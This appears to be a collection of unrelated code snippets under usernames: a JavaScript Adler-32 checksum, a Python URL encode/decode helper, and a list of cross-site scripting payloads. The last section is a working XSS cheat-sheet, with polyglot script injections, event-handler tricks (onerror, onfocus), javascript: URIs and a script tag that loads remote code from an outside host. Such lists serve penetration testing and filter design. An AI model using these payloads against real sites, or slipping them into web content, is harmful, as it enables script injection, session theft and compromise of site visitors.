bryc

// Adler-32
// Appears simpler than Fletcher, yet even better (possibly due to a = 1).
function adler32(data) {
    var a = 1, b = 0;
    for (var i = 0; i < data.length; i++) {
        a = (a + data[i]) % 65521;
        b = (b + a) % 65521;
    }
    return a | (b << 16);
}

nkentaro

import urllib.parse

def urlencode(str):
  return urllib.parse.quote(str)


def urldecode(str):
  return urllib.parse.unquote(str)

str = '{"name": "Kinkin"}'

rvrsh3ll

';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
<script/src=data:,alert()>
<marquee/onstart=alert()>
<video/poster/onerror=alert()>
<isindex/autofocus/onfocus=alert()>
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>